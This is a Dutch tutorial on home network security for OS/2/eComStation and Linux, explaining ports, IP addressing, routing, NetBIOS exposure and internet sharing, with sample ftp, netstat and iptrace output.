De Linux PC staat achter een firewall. Hij heeft geen rechtstreekse verbinding met het internet, maar is alleen via het voor privé netwerken gereserveerde IP adres 192.168.0.2 vanaf het thuisnetwerk te benaderen. De poorten mogen dus wijd openstaan. Het zijn maar binnendeuren. U zet de deuren binnenshuis toch ook niet op slot? Nu ja, alleen voor de gasten en kinderen. Maar daar kan een multi-user systeem wel voor zorgen.

Internet Protocol

Klanten en diensten

Omdat het nu allengs verwarrender wordt ga ik wat basale zaken voor u op een rijtje zetten. Eerst verduidelijk ik de door mij gebruikte analogieën.

Deuren en loketten worden in het internetjargon aangeduid als poorten. De gebouwen heten hosts. De poorten kunnen open of gesloten zijn. Achter de loketten zitten weer diensten (services). Een computer die via die poorten diensten aanbiedt is een server. Op die server draaien programma's die de diensten uitvoeren. Dat zijn de services waar de poortscanner het over heeft.

Achter het loket van een bank zal de ene dienst een andere gebruikersidentificatie vragen dan de andere. Een folder krijgt u zonder u te legitimeren bij de informatiebalie. Maar als u geld ophaalt moet u zich identificeren. Zo gaat het op internet ook: bepaalde diensten (op de http poort 80 bijv.) krijgt u zonder meer aangeboden, voor andere diensten moet u zich identificeren.

Als u bij een betaalautomaat uw pincode toetst, wilt u niet dat iemand meekijkt. Als er mensen achter u staan schermt u het toetsenbord met uw lichaam af. Maar hoe zit het met het telebankieren? Veel van de (on)veiligheid van het internet heeft te maken met het feit dat wachtwoorden oorspronkelijk onversleuteld werden verzonden. In haar oorspronkelijke vorm was het internet een "trusted" netwerk van ons kent ons. Maar nu niet meer...

Via netwerksnuivers (sniffers) zijn berichtenstromen op een netwerk te onderscheppen. Zoek naar het woord "sjoerd" en wellicht is het daarop volgende onversleutelde wachtwoord uw buit. Schrijf een email met het woord "bombrief" en wie weet wordt het door Echelon onderschept. Om een idee te krijgen hoe het werkt zou u swapper.dat eens op uw favoriete wachtwoord moeten doorzoeken (ik schrok ervan). Wilt u uw eigen netwerkverkeer op datagram niveau onderzoeken, draai dan hèèl eventjes iptrace (beëindigen met Ctrl-C), daarna ipformat > \pad\ipformat.log en bekijk het vaak zeer omvangrijke logbestand met e.

Op het internet worden de diensten door programma's uitgevoerd. Door client en server programma's. Niet door het besturingssysteem. De TCP/IP stack van het besturingssysteem moet zich aan het TCP/IP protocol houden. Maar programma's verzorgen de gebruikers-authentificatie en bepalen wat de gebruiker doen en laten mag.

Het is dus principieel onjuist om te suggereren dat het ene besturingssysteem zoveel veiliger is dan het andere. Bepalend is op welke programma's men zich verlaat. Hoeveel en welke informatie gaan ze uitwisselen? Laat Netscape cookies toe? (toch wel handig). Welke Java versie staat ingesteld? Die met de laatste security patch? Of die waarmee een nare website toch kwaad kan aanrichten? En wat te denken van de onbetrouwbare trukendoos van het op Visual Basic gelijkende Javascript? Met Javascript bestuurt een ander in hoge mate het gedrag van uw browser! Het aanzienlijk veiliger Java draait daarentegen in zijn eigen Java Virtual Machine (JFM). Wederom: Security is a matter of trust. Pas als u zich realiseert wat er mis kan gaan wordt het een item.

Een programma dat van een dienst gebruik maakt is een klant (client). Een klant kan zowel op dezelfde (localhost) als op een ver afgelegen (remote) computer zitten. Vaak wordt het client-programma bediend door een persoon (Netscape), maar het kan ook om een batch ftp, een worm of een zoekrobot gaan. Voor TCP/IP maakt dat niet zoveel uit. Als iets of iemand zich aan het internet protocol houdt, vindt het internet het wel goed.

Een FTP sessie ter illustratie

We gaan nu wat exacter kijken. Hier verbind ik de OS/2 computer met de Linux server op zolder door "ftp zolder" te draaien. Warp 4 gebruikers zonder netwerk kunnen "ftpd" en "ftp localhost" uitproberen. De OS/2 FTP client probeert contact te maken met de ftpd daemon (ftp server) op poort 21 van de computer "zolder" die zich op IP adres 192.168.0.2 bevindt. De combinatie van IP adres en doelpoort (192.168.0.2.21) heet een socket (stopcontact). De FTP client steekt er a.h.w. zijn stekker in. De internet daemon (inetd, een soort portier) vangt dit verzoek op en geeft het aan de in /etc/inetd.conf genoemde diensten door.

ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd

Nadat een TCP wrapper (tcpd, een beveiligingsbeamte) de herkomst van het verzoek heeft gecontroleerd vraagt de ftp dienst me om een gebruikersnaam en wachtwoord:

[H:\]ftp zolder 
IBM TCP/IP for OS/2 - FTP Client ver 10:47:01 on Aug 16 2000 
Connected to zolder.thuis. 
220 zolder.thuis FTP server (Version 6.5/OpenBSD, linux port 0.3.2) ready. 
Name (zolder): sjoerd 
331 Password required for sjoerd. 
Password: ........ 
230- Have a lot of fun... 
230 User sjoerd logged in. 
ftp>ls 
................... 
Transfer complete. 
3997 bytes received in 0.46 seconds (8 Kbytes/s) 

Kom ik erin, dan gaat de datastroom van de OS/2 PC via poort 21 naar binnen. De datastroom van de Linux PC naar de OS/2 PC (bijv. de output van ls, list) komt via een door ftpd geopende niet geprivilegieerde doelpoort van de OS/2 PC binnen. Het gaat om doelpoort 62801 (local port) zoals de output van netstat -s(ockets) verderop laat zien. Zoals u in het schema ziet gaat het bij TCP om een bidirectionele datastroom.

ftp client op "visser" (192.168.0.1)

=====>

TCP/IP netwerk

poort 21

(192.168.0.2)

poort 62801

<=====

ftpd op "zolder"

De FTP client vangt de output van de ftpd server op adres 192.168.0.1.62802 op toont het op de ftp> prompt.

Hosts

Een host is een computer op het netwerk. Om van een (inter)netwerk gebruik te kunnen maken moet de host adresseerbaar zijn. Dat gebeurt in het Internet Protocol (IP) door een uniek 32 bits IP adres aan iedere (netwerk)interface te verbinden.

Mensen werken met namen. Computers met 32 bits getallen. Het is de taak van de Domain Name Service (DNS) om hostnamen in binaire getallen om te zetten. Dat zijn reeksen van enen en nullen. Om IP adressen werkbaar te maken worden ze in de zogenaamde dotted-decimal notatie genoteerd. De poortscanner gaf het al aan: 192.168.0.1 (visser.thuis).

Het eerste deel van een IP-adres (hier 192.168.0) geeft het netwerk (domein) aan. Mijn privé domein heet "thuis". Het laatste deel van het IP adres (hier .1) slaat op computer met de hostnaam "visser". Om precies te zijn: de eth0 interface hiervan. De scheiding wordt aangeven door een netwerkmasker op te geven: 255.255.255.0.

Mijn email adres voor de sendmail op de OS/2 PC is dan sjoerd@visser.thuis. Het deel achter het @ (at) teken staat bekend als de Fully Qualified Domain Name (hostnaam.domein). Nu zult u mij via dit adres nooit bereiken. En ook niet via het IP adres. Een met 192.168. beginnend adres kan alleen binnen een privé netwerk aangesproken worden.

De volgende IP adressen hebben geen geldigheid op het internet. Dergelijk adressen gebruikt u op een privé netwerk. U kunt hiermee veel ellende voorkomen.

Netwerk

Netmasker

IP bereik

Klasse A netwerk

255.0.0.0

10.0.0.0 - 10.255.255.255

Klasse B netwerk

255.255.0.0

172.16.0.0 - 172.31.255.255

Klasse C Netwerk

255.255.255.0

192.168.0.0 - 192.168.255.255

IP adressen buiten dit bereik worden door het Network Information Centre (NIC) beheerd. De op het internet geldige IP adressen (die u van uw provider krijgt) zijn schaars. Er moet voor worden betaald.

Met de opdracht host vraagt u het IP adres bij een naamserveerder op. Als de Domain Name Service (DNS) van de provider niet beschikbaar is (geen internetconnectie, DNS niet goed geconfigureerd) en/of de computernaam niet op uw netwerk bekend is ("zolder.thuis"), krijgt u "host unknown" als antwoord.

[H:\]host sjoerd-visser.demon.nl 
host: unknown host sjoerd-visser.demon.nl 

Tijdens de internetconnectie is de DNS beschikbaar en wordt de naam wel opgelost ("resolved"). Hiervoor zal de naamserver van mijn provider zorgen.

[H:\]host sjoerd-visser.demon.nl 
sjoerd-visser.demon.nl = 195.173.244.121 

Lokale (en eventuele niet lokale) hostnamen die in het bestand %ETC%\hosts staan worden door OS/2 computer in IP adressen omgezet. Via onderstaande IP adressen kan ik mijn eigen PC benaderen.

[H:\]host localhost 
localhost = 127.0.0.1 

[H:\]host visser.thuis 
visser.thuis = 192.168.0.1 

Interfaces en routing

Een IP adres en bijbehorende hostnaam wordt niet aan een computer, maar aan een netwerkinterface toegekend. Dus aan het medium waarmee de verbinding tot stand komt. De interface wordt genoemd naar het door de hardware gebruikte protocol: sl0-sl7 (slip), ppp0-ppp7 (ppp protocol), eth0-eth7 (ethernet protocol). Iedere interface verbindt de computer met een netwerk. Omdat het IP adres gekoppeld is aan de netwerkinterface, zal een computer vaak meerdere IP adressen en bijbehorende hostnamen hebben. Meestal een IP adres per netwerk(kaart). Maar met providers hebt u minimaal drie IP adressen voor een dial-up netwerkinterface naar het internet (waarvan er maar een actief kan zijn).

Indien een computer datagrammen van het ene netwerk naar het andere netwerk doorgeeft (IP forwarding) treedt hij op als router. Wanneer informatie van computer A via B naar C gaat, dan is computer B een router. Een OS/2 PC moet dan wel als IP router (ipgate on) geconfigureerd zijn. Standaard staat de routerfunctie uit.

De routerfunctie werkt niet met ieder protocol. NetBIOS werkt maar op één interface. Die van de ethernetkaart. Het staat daarom bekend als veilig. Het IPX/SPX protocol van Novell en het Internet Protocol (IP, het via TCP/IP lopende X protocol en NetBIOS via TCP/IP inbegrepen!) kunnen wel gegevens van een computer op het ene netwerk naar een computer op het volgende netwerk doorgeven.

Eerst nog een opsomming van veel voorkomende interfaces op een OS/2 PC.

In de laatste twee gevallen krijgt de OS/2 computer er een op het internet geldige hostnaam en IP adres bij. U kunt dit proces nagaan door het door Dial Other Internet Providers (DOIP) aangemaakte logbestand (start e %etc%\ppp0.log) eens te bekijken:

notice : OS/2 ppp 2.00 Revision: 1.18 started by OS/2, pid 62 
info : Using interface ppp0 
info : Setting line characteristics 
info : Setting com port baud rate to 115200 
notice : Linking: ppp0 <--> com4 
info : Time critical priority level 1 
info : Connecting with <slattach AT&FM0 OK ATE0Q0S0=0V1X1&C1&D2 OK ATDT8800808 NNECT none> 
info : 
Connector completed ... 
info : Remote message: sjoerd-visser: IP Address: 195.173.244.121 Running PPP on 2060607-07 13:00 Problemen inbellen 030 en 0344 opgelost / Problems dialing in 030 and 0344 solHELLO 

notice : ipcp_up: local IP address 195.173.244.121 
notice : ipcp_up: remote IP address 194.159.73.222 
notice : VJ TCP header compression enabled 
info : default route assigned through 194.159.73.222 
info : Terminating link. 
notice : lcp_down: Connection terminated. 

In dit geval heeft de OS/2 computer er tijdelijk een IP adres (195.173.244.121) en FQ hostnaam (sjoerd-visser.demon.nl) op het internet bij gekregen. Aan de andere kant van de telefoonlijn staat een modem van de provider Demon met "remote" IP adres 194.159.73.222. Dit wordt de default route van de OS/2 PC: alle IP pakketjes (datagrammen) met bestemmingen die de OS/2 computer niet op het LAN thuisbrengen kan, worden in eerste instantie bij de router (gateway) van de provider afgeleverd. Die wikkelt het transport verder af.

De netwerken waar de computer deel van uit maakt zijn nu:

Internet (demon.nl)

OS/2 PC

Linux server op LAN (thuis)

194.159.73.222 (router van de internet provider)

195.173.244.121 (sjoerd-visser.demon.nl op ppp0)



127.0.0.1 (localhost op lo)

127.0.0.1 (localhost)


192.168.0.1 (visser.thuis op lan0=eth0)

192.168.0.2 (zolder.thuis)

De IP adressen 195.173.244.121 (sjoerd-visser.demon.nl) en 194.159.73.222 (de router van de ISP) zijn door DOIP via het Point-to-Point protocol met elkaar verbonden. De PPP interface vormt de voordeur in het 192.168.0 netwerk.

De interfaces van de OS/2 PC "visser.thuis" (192.168.0.1) en de Linux PC "zolder.thuis" (192.168.0.2) zitten op hetzelfde lokale netwerk "thuis" (192.168.0). Ze zijn via twee ethernetkaarten met elkaar verbonden. In firewall terminologie spreekt men van een trusted interface. Binnendeuren die je niet speciaal hoeft te beveiligen..

Van belang is dat voor de hosts die verbinding maken de router functies van de OS/2 PC, de ISP gateway en verderop transparant zijn. Een router is maar een tussenstation. De datagrammen behouden dezelfde begin- en eindadressering. Dus als een willekeurige computer op het internet de Linux computer via NAT (zie later) bereiken kan, dan blijft 192.168.0.1 voor de Linux PC een "trusted host", ook al is diezelfde OS/2 PC zijn gateway naar het onveilige internet. Voor Linux komt het pakketje niet van 192.168.0.1, maar van het originele internetadres.

Wat gebeurt er met de OS/2 PC?

Zou op dit moment iemand een poortscan op sjoerd-visser.demon.nl (195.173.244.121) uitvoeren, dan kan hij de voor lokaal gebruik bestemde poorten vinden:

Port 111 - sunrpc SUN Remote Procedure Call 
Port 139 - netbios-ssn NETBIOS Session Service 
Port 515 - printer spooler 

Poort 111 geeft toegang tot het Netwerk Bestandssysteem (NFS) van eComStation. Poort 139 wordt geactiveerd als u NETBIOS via TCP/IP (onder Windows TCPBEUI) installeert. En via poort 515 zou iemand uw printer kunnen aansturen. Via de eerste twee poorten kan een ander toegang krijgen tot de bestanden op mijn vaste schijf...

U begrijpt nu waarom het onjuist is om een met het internet verbonden computer tevens bestandenserver (anders dan WWW of FTP) voor een lokaal netwerk te laten zijn. Want die computer is via de PPP interface vanaf het internet te benaderen. Een brandkast zet je niet te kijk in portiek of vensterbank, maar in een kamertje achteraf. Om diezelfde reden plaats je een bestandenserver achter een firewall. Bijv. op de Linux PC "zolder.thuis" die alleen via een private IP adres (192.168.0.2) is te benaderen. Dus niet op het internet.

De opdracht netstat-s(ockets) laat globaal zien wat er op de OS/2 PC gebeurt. Het geeft op een andere manier de verbindingen (stekkers en stopcontacten) weer.

netstat -s > netstats.log 
e netstats.log (Courier aanbevolen) 
-------------------------------------------------------------------------- 
AF_INET Address Family: 
Total Number of sockets 19 

SOCK TYPE FOREIGN LOCAL FOREIGN STATE 
PORT PORT HOST 
====== ===== ========== ========== ========== ======== 
1 DGRAM 0 netbios-dgm..138 0.0.0.0 UDP 
2 DGRAM 0 netbios-ns..137 0.0.0.0 UDP 
3 STREAM 0 netbios-ssn..139 0.0.0.0 LISTEN 
4 DGRAM 0 emfis-data..140 0.0.0.0 UDP 
5 STREAM 0 0 0.0.0.0 CLOSED 
6 STREAM 0 3128 0.0.0.0 LISTEN 
7 DGRAM 0 49152 0.0.0.0 UDP 
12 DGRAM 0 shilp..2049 0.0.0.0 UDP 
17 STREAM 0 0 0.0.0.0 CLOSED 
27 STREAM netbios-ssn..139 62797 192.168.0.2 ESTABLISH 
28 STREAM ssh..22 62798 192.168.0.2 ESTABLISH 
29 STREAM 0 x11..6000 0.0.0.0 LISTEN 
2057 DGRAM 0 sunrpc..111 0.0.0.0 UDP 
2058 STREAM 0 sunrpc..111 0.0.0.0 LISTEN 
2059 DGRAM 0 syslog..514 0.0.0.0 UDP 
2065 STREAM 0 ftp..21 0.0.0.0 LISTEN 
2066 DGRAM 0 49157 0.0.0.0 UDP 
2104 STREAM ftp..21 62801 192.168.0.2 ESTABLISH 
2107 DGRAM 0 0 0.0.0.0 UDP 
De regel: 
27 STREAM netbios-ssn..139 62797 192.168.0.2 ESTABLISH 

slaat bijv. op de tekst die ik nu tik. Die tekst stroomt hier tussen poort 62797 op de OS/2 computer en de Linux samba server op poort 139. Linux geeft het omgekeerde beeld:

tcp 0 0 zolder.thui:netbios-ssn visser.thuis:62797 ESTABLISHED 

Ook ziet u in de netstat -s opdracht de servers op eComStation PC terug. Op poort 111 staat de portmapper klaar voor NFS verzoeken. Hij luistert of een client aanklopt bij de de poort. De NFS server van eCS heeft echter nogal wat nukken. Ik hoop dat die eruit zijn als de GA uitkomt.

Achter poort 3128 zit de HTTP proxy server van de WWW mirroring tool Sslurp! Hij is nu niet in gebruik. Hij luistert. Het viel me op dat de poortscanner hem niet vond.

Verder ziet u dat er een syslog daemon op eCS draait. Programma's die u met een detach opdracht opstart kunnen hun output niet op het venster van de opdrachtregel kwijt. Meestal schrijven ze naar de vaste schijf. De syslog daemon kan de output van meerdere TCP/IP programma's (voor hem clients) tegelijkertijd accepteren, lokaal opslaan of aan een andere computer doorgeven .

Verder staat poort 139 van NetBIOS via TCP/IP open. Hij wacht (listen) totdat iemand zich op poort 139 aanmeld.

3 STREAM 0 netbios-ssn..139 0.0.0.0 LISTEN 

En dat is gevaarlijk op een OS/2 of Windows computer die zelf met het internet verbonden is.

Met net view \\server kunt u achterhalen welke bronnen te benaderen zijn:

[H:\]net view \\visser 
Shared resources at \\visser 
eComStation 
Netname Type Used as Comment 
------------------------------------------ 
BOUKE Disk 
GDRIVE Disk HPFS 
IDRIVE Disk 
The command completed successfully. 

In de eCS preview stond de srvhidden = optie in \IBMLAN\IBMLAN.INI op "yes" in plaats van "no". Bij het opzetten van een netwerk is de onzichtbare server lastig. Maar vanuit beveiligingsoptiek is er veel voor te zeggen om "srvhidden" na het opzetten van het netwerk weer op "yes" te zetten.

srvhidden = yes 

De OS/2 SMB server is dan niet in een andere netwerkomgeving te zien. Natuurlijk moet u de shares ook met wachtwoorden beveiligen.

Iemand die op de kabel aangesloten is kan in zijn netwerkomgeving nog wel eens een hele reeks shares van buren met een thuisnetwerk zien. Typisch zullen ze gerelateerde IP adressen op de kabel hebben. In mijn geval zou het kunnen gaan om adressen die met 195.173.244. beginnen. Een stukje netstat -r(oute):

destination router netmask metric flags intrf 
195.173.244 195.173.244.121 255.255.255.0 0 UP ppp0 

Windows installeert met Bestands- en printerdeling voor Microsoft-netwerken naast NetBEUI meteen ook het TCPBEUI protocol. Niet iedereen realiseert zich dat met TCPBEUI de voor het LAN bestemde bronnen ook vanaf het internet te benaderen zijn. En als de hele buurt ook nog heel onorigineel de werkgroep WORKGROUP of WERKGROEP noemt, is er geen ontkomen meer aan.

Voor OS/2 is IBMPEERS de default. OS/2 installeert na de vraag Wilt u de Bestanden en Printers Cliënt installeren? alleen de client versie van het veilige NetBIOS protocol. Met het Gemeenschappelijk gebruik bestanden en printers zijn uw bronnen alleen op het LAN te benaderen. TCP/IP over NetBios moet u apart installeren. Wie weet komt u hiermee nog op het spoor van een andere beginnende OS/2 thuisgebruiker. Maar het is wel zo verstandig om uw werkgroep een alleen aan u bekende naam te geven (en liever niet thuis)...

Het netwerk verder onderzoeken: iptrace en netstat

Wilt u het netwerk op datagram niveau onderzoeken, draai dan hèèl eventjes iptrace (beëindigen met Ctrl-C), daarna ipformat > \pad\ipformat.log en bekijk het vaak zeer omvangrijke logbestand met e. U begrijpt daarna ook wat een sniffer doet.

Ipformat zet het door iptrace aangemaakte \iptrace.dmp bestand om in leesbare tekst. Hieronder een aldus bewerkt datagram van de tekst die ik op de OS/2 PC tik (Source: 192.168.000.001) en via het SMB protocol naar linux verzend (Dest: 192.168.000.002).

-------------------------- #:92 -------------------------- 
Delta Time: 0.000sec Packet Length: 1514 bytes (5EA hex) 
DIX: Dest: 00:00:B4:B8:1E:20 Source: 00:00:B4:A2:A2:8D 
DIX: Dest: 192.168.000.002 Source: 192.168.000.001 
----------------------- IP HEADER ----------------------- 
IP: Version: 4 Correct Header Length: 20 bytes 
IP: Type Of Service: 00 
IP: 000. .... Routine 
IP: ...0 .... Normal Delay 
IP: .... 0... Normal Throughput 
IP: .... .0.. Normal Reliability 
IP: Total Len: 1500 (x5DC) bytes Id: 1D5A 
IP: Flags: 2 
IP: .1.. Don't Fragment 
IP: ..0. Last Fragment 
IP: Fragment Offset: 000 
IP: Time To Live: 64 sec Protocol: 6 TCP 
IP: Header Checksum: 966E (Correct) 
IP: No Options 
---------------------- TCP HEADER ---------------------- 
TCP: Source Port: 54268 (Unassigned port) Dest Port: 139 (NETBIOS Session) 
TCP: Sequence #: 1972314261 
TCP: Ack #: 2921349513 
TCP: Offset: 20 bytes 
TCP: Flags: 10 
TCP: ..0. .... Urgent bit Off 
TCP: ...1 .... <ACK> Ack bit On 
TCP: .... 0... Push bit Off 
TCP: .... .0.. Reset bit Off 
TCP: .... ..0. Synchronize bit Off 
TCP: .... ...0 Finish bit Off 
TCP: Window: 33580 Checksum: 8193 (Correct) 
TCP: No Options 
--------------------------------- DATA ----------------------------------- 
0000 73 74 65 65 6D 20 28 4E 46 53 29 20 76 61 6E 20 steem (NFS) van 
0010 65 43 6F 6D 53 74 61 74 69 6F 6E 2E 20 50 6F 6F eComStation. Poo 
0020 72 74 20 31 33 39 20 77 6F 72 64 74 20 67 65 61 rt 139 wordt gea 
0030 63 74 69 76 65 65 72 64 20 61 6C 73 20 75 20 4E ctiveerd als u N 

0400 65 74 20 65 2E 20 55 20 62 65 67 72 69 6A 70 74 et e. U begrijpt 
0410 20 64 61 61 72 6E 61 20 6F 6F 6B 20 77 61 74 20 daarna ook wat 
0420 65 65 6E 20 73 6E 69 66 66 65 72 20 64 6F 65 74 een sniffer doet 
0430 2E 20 48 69 65 72 6F 6E 64 65 72 20 65 65 6E 20 . Hieronder een 
0440 64 61 74 61 67 72 61 6D 20 76 61 6E 20 64 65 20 datagram van de 
0450 74 65 6B 73 74 20 64 69 65 20 69 6B 20 6F 70 20 tekst die ik op 
0460 64 65 20 4F 53 2F 32 20 50 43 20 74 69 6B 20 28 de OS/2 PC tik ( 
0470 53 6F 75 72 63 65 3A 20 20 31 39 32 2E 31 36 38 Source: 192.168 
0480 2E 30 30 30 2E 30 30 31 29 20 65 6E 20 76 69 61 .000.001) en via 
0490 20 68 65 74 20 53 4D 42 20 70 72 6F 74 6F 63 6F het SMB protoco 
04A0 6C 20 6E 61 61 72 20 6C 69 6E 75 78 20 76 65 72 l naar linux ver 
04B0 7A 65 6E 64 20 28 44 65 73 74 3A 20 31 39 32 2E zend (Dest: 192. 
04C0 31 36 38 2E 30 30 30 2E 30 30 32 29 41 0E 00 00 168.000.002)A... 

Een datagram bestaat uit een header en data. De header is te vergelijken met het opschrift van een envelop. Ieder laag van het TCP/IP protocol voegt informatie aan de header toe. Het DATA gedeelte is hier fors ingekort. U ziet er een fragment van deze tekst (even opgeslagen tijdens de iptrace sessie) in terug. Inclusief het: "U begrijpt daarna ook wat een sniffer doet" van hierboven. Een sniffer als iptrace onderschept het netwerkverkeer. Een sniffer op een router (man in the middle attack) is een ramp. De rest mag u wat mij betreft vergeten.



Plan van aanpak

Gelukkig valt het in de OS/2 praktijk wel mee. De situatie die ik beschreef is van toepassing als u de netwerksoftware voor het LAN van Warp 4 of eComStation installeerde.

Opzet van het thuisnetwerk

Kies bij de opzet van een thuisnetwerk bij voorkeur voor een eenvoudig systeem waarvan u de voor- en nadelen kent. Dit KISS principe (Keep it simple, Stupid) is niet alleen in menselijke relaties effectief. Hoe eenvoudiger hoe beter. Een wirwar van beveiligingsmaatregelen is niet te overzien.

De op het internet aangesloten computers kunnen alleen TCP of UPD diensten draaien achter een goed geconfigureerde firewall. Ze mogen alleen op hun LAN adressen te zien zijn. De zich achter de firewall bevindende Windows werkstations die met met netwerkadresvertaling het internet opgaan moeten door een viruscanner worden beveiligd.

Organiseer het zo dat iedere gebruiker zich aan bepaalde regels moet houden. Programma's kunnen die keuzes niet voor u maken. Maar u kunt er voor zorgen dat iedere netwerkgebruiker maar over een beperkt aantal programma's (en diensten) beschikt.

Van diensten die alleen op localhost draaien, moet u er zeker zijn dat ze alleen naar localhost luisteren. Gebruik een geavanceerde poortscanner om dat te controleren. Ideaal is de situatie waarin de scanner geen enkele poort ziet ("stealth"). Uw netwerk wordt dan meestal overgeslagen. Een "port closed" reactie duidt weliswaar op enige bescherming, maar kan een uitdaging voor een hacker zijn om uw configuratie verder uit te testen. Een open poort noopt u om onmiddellijk de configuratie te herzien en/of een packet filter te installeren.

Voor computers waarop u publieke internet diensten draait (www, ftp) gelden de strengste regels. Zie hiervoor Firewalls en OS/2.

Stand-alone systeem

Hebt u alleen "Toegang tot het internet" geïnstalleerd dan fungeert uw computer via een (kabel)modemverbinding als internet client. Hierbij worden geen TCP/IP diensten geïnstalleerd. U moet er wel op aankunnen dat de door u gebruikte TCP/IP client programma's (Netscape, ICQ) niet al te grote veiligheidslekken vertonen. En houdt altijd in de gaten of er niet ongemerkt TCP/IP servers op uw systeem zijn geactiveerd. Gelukkig bestaan er bij mijn weten nog geen Trojaanse paarden en virussen voor OS/2. Maar een regelmatige poortscan op localhost kan nooit kwaad.

Hebt u wel een netwerk en "Directe verbinding met LAN" geïnstalleerd dan gelden de volgende tips.

Bestands- en printerdeling

Gebruik voor bestands- en printerdeling met Windows, NT/XP of OS/2 werkstations in een evenknie (peer to peer) netwerk bij voorkeur het klassieke NetBIOS (NETBEUI) protocol. Dit "broadcast" protocol voor ethernetkaarten heeft niets met het internetprotocol te maken. Het functioneert geheel los en zelfstandig van TCP/IP. De vrijgegeven bronnen zijn alleen in de "werkgroep" van communicerende ethernetkaarten te zien en zijn dus niet vanaf het internet te benaderen.



Let er echter wel op dat Windows met NETBUI tevens TCPBEUI installeert. Dit NetBIOS via TCP/IP (TCPBEUI) protocol, dat u voor bestands- en printerdeling op Linux, NT servers en op niet-evenknie netwerken nodig heeft, is wel via het internet te benaderen. Ook PC's achter het LAN zouden (indien de inbellende OS/2 PC als router is ingesteld) verbinding met het internet kunnen maken. Voor NetBIOS via TCP/IP kunt de volgende maatregelen treffen:

Voor details verwijs ik u naar Toegangsrechten beheren onder OS/2.

Hier een citaat:

Door voor Aangepast te kiezen kunt u exact bepalen wie welke toegang krijgt tot de betreffende netwerkbron. Dit is ingewikkeld, maar als u het goed doet - volgens het principe van de minst benodigde permissies - wel zo veilig.
Om bijv. een bestand te kunnen maken en beschrijven hebt u lees-, schrijf- en maakrechten (RWC) nodig in de map waarin het bestand zich moet bevinden. Om een programma op een bron uit te voeren lees- en uitvoerrechten (RX). Maar het is niet nodig om een gebruiker in een gedeelde map het recht te geven andermans bestanden te wissen (RWX). In dat geval zou ik iemand een persoonlijke map geven.

Hiermee (denk aan Murpy) bespaart u zich veel ellende.

Gebruikersrechten en -authentificatie

De eerste stap in de beveiliging is een goede gebruikersauthentificatie. Het gaat minimaal om een gebruikersnaam en en wachtwoord. Op Warp 4 en Windows 95 worden deze gebruikersnamen en wachtwoorden lokaal opgeslagen (local logon). Deze situatie volstaat op het thuisnetwerk of in een klein bedrijf waar de computers via hun netwerkkaarten rechtstreeks met elkaar verbonden zijn.

In een bedrijfsnetwerk worden gebruikersnamen en wachtwoorden centraal opgeslagen. De domein controller (Windows NT of Warp server) controleert de namen en wachtwoorden op het domein. De server geeft tevens de bronnen vrij. Dit vergemakkelijkt het beheer.

Nu kan iedereen wel zeggen dat hij "sjoerd" heet. Dan weet hij mijn wachtwoord nog niet, maar er zijn programma's die ze systematisch kunnen raden (cracks). Om dit te voorkomen kunt u als beleid afspreken dat een gebruiker er na het derde verkeerd ingegeven wachtwoord niet meer inkomt. Om het kraken te vertragen wordt er in inlogprocedure een vertraging ingebouwd. Wachtwoorden die uit bekende woorden bestaan moeten ook cijfers of aparte tekens bevatten (&%$ e.d.). Verder spreekt het voor zich dat u wachtwoorden niet al te opzichtig opschrijven moet. Als u toch een notitie van uw wachtwoord in een bureaula bewaard, schrijf hem dan op in de vorm van een hint.

Firewalls en TCP wrappers kunnen ervoor zorgen dat bepaalde diensten (bijv. voor configuratie en remote login) alleen vanaf bepaalde IP adressen benaderbaar zijn. Maar de huidige versie van het IP protocol (IPv4) controleert de herkomst van de pakketjes nog niet. Een goede beveiliging zal daarom niet alleen naar het IP adres, naam en wachtwoord van de aanvrager kijken, maar ook de herkomst willen verifiëren door een teken van authenticiteit (token, key) op te vragen. IPSec en SecureShell bieden een dergelijke mechanisme.

Het internet delen

Stel u hebt een ethernetwerk waarvan een PC met het internet verbonden is. Daar kunt u internetten, maar op de andere computers niet. Hoe zit dat? Ik schets u mijn situatie.

Er zijn twee netwerken. Het thuisnetwerk en het netwerk van de provider. Alleen op de internet PC kan ik internetten. Deze computer is via het modem (de ppp0 interface, zijn tweede dial up netwerkverbinding) met het internet verbonden. Voor het internet gaat het niet om visser.thuis, maar om sjoerd-visser.demon.nl met IP adres 195.173.244.121. Dat is de interface waar het internet tegenaan kijkt.

Internet

OS/2 internet PC


194.159.73.222 (router van de internet provider)

195.173.244.121 (sjoerd-visser.demon.nl op ppp0)



127.0.0.1 (localhost op lo)

LAN (thuis)


192.168.0.1 (visser.thuis op lan0=eth0)

192.168.0.2 (zolder.thuis)

192.168.0.3 (laptop.thuis)

Ook al zou ik de routing aanzetten op (ipgate on) op de OS/2 PC visser.thuis, dan nog zouden zolder.thuis en laptop.thuis de router van mijn internet provider niet kunnen bereiken. Een ethernetwerk 192.168.0.0 met broadcast adres 255.255.255.0 spreekt alleen maar adressen aan in de 192.168.0.m reeks. Op laptop.thuis en zolder.thuis kunnen dus servers draaien. Ze zijn alleen op het thuisnetwerk te zien. Ze zijn met de routing uit (ipgate off) ook niet via IP vermomming (IP spoofing) te bereiken. Op de OS/2 internet PC mogen alleen voor het thuisnetwerk bestemde servers draaien als de ppp0 interface niet in gebruik is.



Wilt u dat de meerdere LAN gebruikers het internet kunnen delen, dan zie ik drie mogelijkheden.

  1. Een proxyserver draaien.

  2. Netwerk adres vertaling via een pakketfilter.

  3. Een externe router aanschaffen.

Deze methoden vullen elkaar aan.

Een proxy server draaien

Het draaien van een proxy server op de met het internet verbonden computer is de veiligste manier om in privé netwerken (bijv. 192.168.n.m) het internet te delen. De internet clients hebben geen directe (point-to-point) contacten met de servers op het internet, maar vragen hun informatie bij de proxyserver op.

De knop IP doorsturen (IP forwarding) van het tabblad Route moet u niet aanvinken. Het is nu juist niet de bedoeling dat de IP datagrammen via de OS/2 computer naar de overige computers gaan. Of dat de thuisgebruikers hosts op het internet gaan pingen. De enige weg tussen internet en thuisgebruikers op zolder en laptop moet de proxyserver zijn. Dit beschermt uw LAN ook tegen bufferloopaanvallen met IP vermomming vanaf het internet.

